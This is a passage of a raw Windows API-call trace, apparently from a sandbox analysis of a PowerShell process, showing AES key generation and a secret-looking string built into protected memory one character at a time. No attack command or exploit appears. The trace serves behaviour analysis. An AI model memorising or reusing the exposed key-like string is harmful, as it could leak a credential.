out: lpMode=0x5a2e520) returned 1 [0237.111] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0237.276] EtwEventActivityIdControl () returned 0x0 [0237.276] EtwEventActivityIdControl () returned 0x0 [0237.276] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0237.277] EtwEventActivityIdControl () returned 0x0 [0237.277] EtwEventActivityIdControl () returned 0x0 [0237.277] EtwEventActivityIdControl () returned 0x0 [0237.279] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0237.279] EtwEventActivityIdControl () returned 0x0 [0237.279] EtwEventActivityIdControl () returned 0x0 [0237.279] EtwEventActivityIdControl () returned 0x0 [0237.281] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d100) returned 1 [0237.282] CryptGenKey (in: hProv=0x5c4d100, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c69140) returned 1 [0237.282] CryptContextAddRef (hProv=0x5c4d100, pdwReserved=0x0, dwFlags=0x0) returned 1 [0237.283] CryptExportKey (in: hKey=0x5c69140, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0237.283] CryptExportKey (in: hKey=0x5c69140, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x23e0af0, pdwDataLen=0x5a2e8c4 | out: pbData=0x23e0af0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0237.283] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0237.284] EtwEventActivityIdControl () returned 0x0 [0237.284] EtwEventActivityIdControl () returned 0x0 [0237.284] EtwEventActivityIdControl () returned 0x0 [0237.284] SysStringLen (param_1="") returned 0x8 [0237.284] SysStringLen (param_1="P") returned 0x8 [0237.285] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0237.285] SysStringLen (param_1="唖ⓕ䇏ꆄㄏ켡㄰") returned 0x8 [0237.285] SysStringLen (param_1="唖ⓕ䇏ꆄㄏ켡㄰") returned 0x8 [0237.285] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0237.285] SysStringLen (param_1="P5") returned 0x8 [0237.285] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0237.285] SysStringLen (param_1="垩ሉ柬Ữ⟪煞૾") returned 0x8 [0237.285] SysStringLen (param_1="垩ሉ柬Ữ⟪煞૾") returned 0x8 [0237.285] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0237.285] SysStringLen (param_1="P5C") returned 0x8 [0237.285] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0237.286] SysStringLen (param_1="⥼豬⩠᷸夬㒉篚ꥀ") returned 0x8 [0237.286] SysStringLen (param_1="⥼豬⩠᷸夬㒉篚ꥀ") returned 0x8 [0237.286] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0237.286] SysStringLen (param_1="P5Cg") returned 0x8 [0237.286] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0237.286] SysStringLen (param_1="퇐䒬彉۔䍺䏍박璇") returned 0x8 [0237.286] SysStringLen (param_1="퇐䒬彉۔䍺䏍박璇") returned 0x8 [0237.286] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0237.286] SysStringLen (param_1="P5Cg6") returned 0x8 [0237.286] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0237.286] SysStringLen (param_1="嶈嵘⪼ᥧ䷄\뗙∹) returned 0x8 [0237.286] SysStringLen (param_1="嶈嵘⪼ᥧ䷄\뗙∹) returned 0x8 [0237.286] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0237.287] SysStringLen (param_1="P5Cg6V") returned 0x8 [0237.287] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0237.287] SysStringLen (param_1="᥆恢\쟘⵴럢\嫙慗") returned 0x8 [0237.287] SysStringLen (param_1="᥆恢\쟘⵴럢\嫙慗") returned 0x8 [0237.287] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0237.287] SysStringLen (param_1="P5Cg6Vv") returned 0x8 [0237.287] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0237.287] SysStringLen (param_1="灸㈏⫸횏䅂斠뤫➏") returned 0x8 [0237.287] SysStringLen (param_1="灸㈏⫸횏䅂斠뤫➏") returned 0x8 [0237.287] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0237.287] SysStringLen (param_1="P5Cg6Vv5") returned 0x8 [0237.287] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0237.288] SysStringLen (param_1="ा扟逜㴽⸊拐㚗") returned 0x8 [0237.288] SysStringLen (param_1="ा扟逜㴽⸊拐㚗") returned 0x8 [0237.288] SysStringLen (param_1="ा扟逜㴽⸊拐㚗") returned 0x8 [0237.288] SysStringLen (param_1="ा扟逜㴽⸊拐㚗") returned 0x10 [0237.288] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0237.289] SysStringLen (param_1="P5Cg6Vv5W嫊蟳棌页ᆣﮬ") returned 0x10 [0237.289] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0237.289] SysStringLen (param_1="ा扟逜㴽⸊拐㚗䧞Ⅶ㳈鉞몆슁鴨") returned 0x10 [0237.289] SysStringLen (param_1="ा扟逜㴽⸊拐㚗䧞Ⅶ㳈鉞몆슁鴨") returned 0x10 [0237.289] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0237.289] SysStringLen (param_1="P5Cg6Vv5W3蟳棌页ᆣﮬ") returned 0x10 [0237.289] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0237.289] SysStringLen (param_1="ा扟逜㴽⸊拐㚗捒૊럮不瓯䖐잖") returned 0x10 [0237.289] SysStringLen (param_1="ा扟逜㴽⸊拐㚗捒૊럮不瓯䖐잖") returned 0x10 [0237.289] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0237.290] SysStringLen (param_1="P5Cg6Vv5W3u蟳棌页ᆣﮬ") returned 0x10 [0237.290] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0237.290] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㵕ꑅ涖ᄬ캹렼Ꮲ䚡") returned 0x10 [0237.290] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㵕ꑅ涖ᄬ캹렼Ꮲ䚡") returned 0x10 [0237.290] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0237.290] SysStringLen (param_1="P5Cg6Vv5W3ug棌页ᆣﮬ") returned 0x10 [0237.290] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0237.290] SysStringLen (param_1="ा扟逜㴽⸊拐㚗꼕쿒롼ꖞ඘䘣̸烽") returned 0x10 [0237.290] SysStringLen (param_1="ा扟逜㴽⸊拐㚗꼕쿒롼ꖞ඘䘣̸烽") returned 0x10 [0237.290] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0237.290] SysStringLen (param_1="P5Cg6Vv5W3ugo页ᆣﮬ") returned 0x10 [0237.290] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0237.291] SysStringLen (param_1="ा扟逜㴽⸊拐㚗෭ʴ堁휘맷⥄ⶳ둎") returned 0x10 [0237.291] SysStringLen (param_1="ा扟逜㴽⸊拐㚗෭ʴ堁휘맷⥄ⶳ둎") returned 0x10 [0237.291] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0237.291] SysStringLen (param_1="P5Cg6Vv5W3ugobᆣﮬ") returned 0x10 [0237.291] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0237.291] SysStringLen (param_1="ा扟逜㴽⸊拐㚗嵟歋柸陾⥎ᑬ") returned 0x10 [0237.291] SysStringLen (param_1="ा扟逜㴽⸊拐㚗嵟歋柸陾⥎ᑬ") returned 0x10 [0237.291] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0237.291] SysStringLen (param_1="P5Cg6Vv5W3ugobvﮬ") returned 0x10 [0237.292] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0237.292] SysStringLen (param_1="ा扟逜㴽⸊拐㚗鬉˦ἇ\䛛࡞儍∂) returned 0x10 [0237.292] SysStringLen (param_1="ा扟逜㴽⸊拐㚗鬉˦ἇ\䛛࡞儍∂) returned 0x10 [0237.292] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0237.292] SysStringLen (param_1="P5Cg6Vv5W3ugobvp") returned 0x10 [0237.292] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0237.292] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴") returned 0x10 [0237.292] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴") returned 0x10 [0237.293] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴") returned 0x10 [0237.293] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴") returned 0x18 [0237.293] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0237.293] SysStringLen (param_1="P5Cg6Vv5W3ugobvpY尪퀊➻맛ﳝ姕熏") returned 0x18 [0237.293] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0237.293] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴檪뗱艸錫ୈ轛") returned 0x18 [0237.293] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴檪뗱艸錫ୈ轛") returned 0x18 [0237.293] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0237.294] SysStringLen (param_1="P5Cg6Vv5W3ugobvpYh퀊➻맛ﳝ姕熏") returned 0x18 [0237.294] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0237.294] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴འ薝鷽欱퀈₀⺤댆") returned 0x18 [0237.294] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴འ薝鷽欱퀈₀⺤댆") returned 0x18 [0237.294] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0237.294] SysStringLen (param_1="P5Cg6Vv5W3ugobvpYhn➻맛ﳝ姕熏") returned 0x18 [0237.294] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0237.294] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴䙚ℹ៛©ꯔﴫ₂ࡧ") returned 0x18 [0237.294] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴䙚ℹ៛©ꯔﴫ₂ࡧ") returned 0x18 [0237.294] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0237.294] SysStringLen (param_1="P5Cg6Vv5W3ugobvpYhnN맛ﳝ姕熏") returned 0x18 [0237.294] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0237.295] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴⏈鴌赽삝允쇡语楺") returned 0x18 [0237.295] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴⏈鴌赽삝允쇡语楺") returned 0x18 [0237.295] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0237.295] SysStringLen (param_1="P5Cg6Vv5W3ugobvpYhnN7ﳝ姕熏") returned 0x18 [0237.295] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0237.295] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴힢䂓얋懜쫔") returned 0x18 [0237.295] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴힢䂓얋懜쫔") returned 0x18 [0237.295] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0237.295] SysStringLen (param_1="P5Cg6Vv5W3ugobvpYhnN7O姕熏") returned 0x18 [0237.295] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0237.295] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴㼬㝈鋨採듣뙩") returned 0x18 [0237.296] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴㼬㝈鋨採듣뙩") returned 0x18 [0237.296] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0237.296] SysStringLen (param_1="P5Cg6Vv5W3ugobvpYhnN7OO熏") returned 0x18 [0237.296] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0237.296] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴躄榷흚枖惡菻꩹ᢼ") returned 0x18 [0237.296] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴躄榷흚枖惡菻꩹ᢼ") returned 0x18 [0237.296] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0237.296] SysStringLen (param_1="P5Cg6Vv5W3ugobvpYhnN7OO3") returned 0x18 [0237.296] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0237.296] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴ꗹ摳\ො覑麰蓡蜐⋘) returned 0x18 [0237.297] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴ꗹ摳\ො覑麰蓡蜐⋘) returned 0x18 [0237.297] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴ꗹ摳\ො覑麰蓡蜐⋘) returned 0x18 [0237.297] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴ꗹ摳\ො覑麰蓡蜐⋘) returned 0x20 [0237.297] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0237.297] SysStringLen (param_1="P5Cg6Vv5W3ugobvpYhnN7OO3o峦ꭒ⯃㭦埡揷ᖼ") returned 0x20 [0237.297] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0237.297] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴ꗹ摳\ො覑麰蓡蜐勘讟ꡗ쀟嶵녬稇≻) returned 0x20 [0237.297] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴ꗹ摳\ො覑麰蓡蜐勘讟ꡗ쀟嶵녬稇≻) returned 0x20 [0237.297] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0237.298] SysStringLen (param_1="P5Cg6Vv5W3ugobvpYhnN7OO3ogꭒ⯃㭦埡揷ᖼ") returned 0x20 [0237.298] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0237.298] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴ꗹ摳\ො覑麰蓡蜐돘羟脳卉П㊗즘∃) returned 0x20 [0237.298] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴ꗹ摳\ො覑麰蓡蜐돘羟脳卉П㊗즘∃) returned 0x20 [0237.298] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0237.298] SysStringLen (param_1="P5Cg6Vv5W3ugobvpYhnN7OO3ogH⯃㭦埡揷ᖼ") returned 0x20 [0237.298] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0237.298] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴ꗹ摳\ො覑麰蓡蜐嶶䂶⹷窞얏꩒⋭) returned 0x20 [0237.298] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴ꗹ摳\ො覑麰蓡蜐嶶䂶⹷窞얏꩒⋭) returned 0x20 [0237.298] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0237.298] SysStringLen (param_1="P5Cg6Vv5W3ugobvpYhnN7OO3ogHW㭦埡揷ᖼ") returned 0x20 [0237.298] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0237.299] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴ꗹ摳\ො覑麰蓡蜐ꛘ멯醨湷ퟹġ麉≇) returned 0x20 [0237.299] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴ꗹ摳\ො覑麰蓡蜐ꛘ멯醨湷ퟹġ麉≇) returned 0x20 [0237.299] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0237.299] SysStringLen (param_1="P5Cg6Vv5W3ugobvpYhnN7OO3ogHWM埡揷ᖼ") returned 0x20 [0237.299] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0237.299] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴ꗹ摳\ො覑麰蓡蜐럘ꓘ麨樄鲞膜쫳⊷⋯) returned 0x20 [0237.299] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴ꗹ摳\ො覑麰蓡蜐럘ꓘ麨樄鲞膜쫳⊷⋯) returned 0x20 [0237.299] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0237.299] SysStringLen (param_1="P5Cg6Vv5W3ugobvpYhnN7OO3ogHWMI揷ᖼ") returned 0x20 [0237.299] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0237.299] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴ꗹ摳\ො覑麰蓡蜐᳘嬫䘸澀忯㈞ዜ䉨≚) returned 0x20 [0237.299] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴ꗹ摳\ො覑麰蓡蜐᳘嬫䘸澀忯㈞ዜ䉨≚) returned 0x20 [0237.300] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0237.300] SysStringLen (param_1="P5Cg6Vv5W3ugobvpYhnN7OO3ogHWMIUᖼ") returned 0x20 [0237.300] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0237.300] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴ꗹ摳\ො覑麰蓡蜐斂Ḃ楹ฌ⇳㇣∂) returned 0x20 [0237.300] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴ꗹ摳\ො覑麰蓡蜐斂Ḃ楹ฌ⇳㇣∂) returned 0x20 [0237.300] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0237.300] SysStringLen (param_1="P5Cg6Vv5W3ugobvpYhnN7OO3ogHWMIUd") returned 0x20 [0237.300] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0237.300] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴ꗹ摳\ො覑麰蓡蜐様㬆ꌁ끲᎘⡭㘻⊫) returned 0x20 [0237.300] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴ꗹ摳\ො覑麰蓡蜐様㬆ꌁ끲᎘⡭㘻⊫) returned 0x20 [0237.301] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴ꗹ摳\ො覑麰蓡蜐様㬆ꌁ끲᎘⡭㘻⊫) returned 0x20 [0237.301] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴ꗹ摳\ො覑麰蓡蜐様㬆ꌁ끲᎘⡭㘻墫∇) returned 0x28 [0237.301] SystemFunction041 (in: Memory=0x5c9b124, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b124) returned 0x0 [0237.301] SysStringLen (param_1="P5Cg6Vv5W3ugobvpYhnN7OO3ogHWMIUdz䢻㡔ᥥ斜氄慻") returned 0x28 [0237.301] SystemFunction040 (in: Memory=0x5c9b124, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b124) returned 0x0 [0237.301] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴ꗹ摳\ො覑麰蓡蜐様㬆ꌁ끲᎘⡭㘻쎫饎昝進獛케G∇) returned 0x28 [0237.301] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴ꗹ摳\ො覑麰蓡蜐様㬆ꌁ끲᎘⡭㘻쎫饎昝進獛케G∇) returned 0x28 [0237.301] SystemFunction041 (in: Memory=0x5c9b124, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b124) returned 0x0 [0237.447] SysStringLen (param_1="P5Cg6Vv5W3ugobvpYhnN7OO3ogHWMIUdz/䢻㡔ᥥ斜氄慻") returned 0x28 [0237.448] SystemFunction040 (in: Memory=0x5c9b124, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b124) returned 0x0 [0237.448] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴ꗹ摳\ො覑麰蓡蜐様㬆ꌁ끲᎘⡭㘻薫ⶥﺽ밎常ַ츠≵) returned 0x28 [0237.448] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴ꗹ摳\ො覑麰蓡蜐様㬆ꌁ끲᎘⡭㘻薫ⶥﺽ밎常ַ츠≵) returned 0x28 [0237.448] SystemFunction041 (in: Memory=0x5c9b124, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b124) returned 0x0 [0237.448] SysStringLen (param_1="P5Cg6Vv5W3ugobvpYhnN7OO3ogHWMIUdz/Y㡔ᥥ斜氄慻") returned 0x28 [0237.448] SystemFunction040 (in: Memory=0x5c9b124, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b124) returned 0x0 [0237.448] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴ꗹ摳\ො覑麰蓡蜐様㬆ꌁ끲᎘⡭㘻\鳝㤐۱간凔鴑") returned 0x28 [0237.448] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴ꗹ摳\ො覑麰蓡蜐様㬆ꌁ끲᎘⡭㘻\鳝㤐۱간凔鴑") returned 0x28 [0237.448] SystemFunction041 (in: Memory=0x5c9b124, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b124) returned 0x0 [0237.448] SysStringLen (param_1="P5Cg6Vv5W3ugobvpYhnN7OO3ogHWMIUdz/YQᥥ斜氄慻") returned 0x28 [0237.448] SystemFunction040 (in: Memory=0x5c9b124, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b124) returned 0x0 [0237.449] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴ꗹ摳\ො覑麰蓡蜐様㬆ꌁ끲᎘⡭㘻嵘簾А঄ﾏࣧ⋖) returned 0x28 [0237.449] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴ꗹ摳\ො覑麰蓡蜐様㬆ꌁ끲᎘⡭㘻嵘簾А঄ﾏࣧ⋖) returned 0x28 [0237.449] SystemFunction041 (in: Memory=0x5c9b124, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b124) returned 0x0 [0237.449] SysStringLen (param_1="P5Cg6Vv5W3ugobvpYhnN7OO3ogHWMIUdz/YQT斜氄慻") returned 0x28 [0237.449] SystemFunction040 (in: Memory=0x5c9b124, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b124) returned 0x0 [0237.449] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴ꗹ摳\ො覑麰蓡蜐様㬆ꌁ끲᎘⡭㘻솫띐鮒䶻폕会\凌") 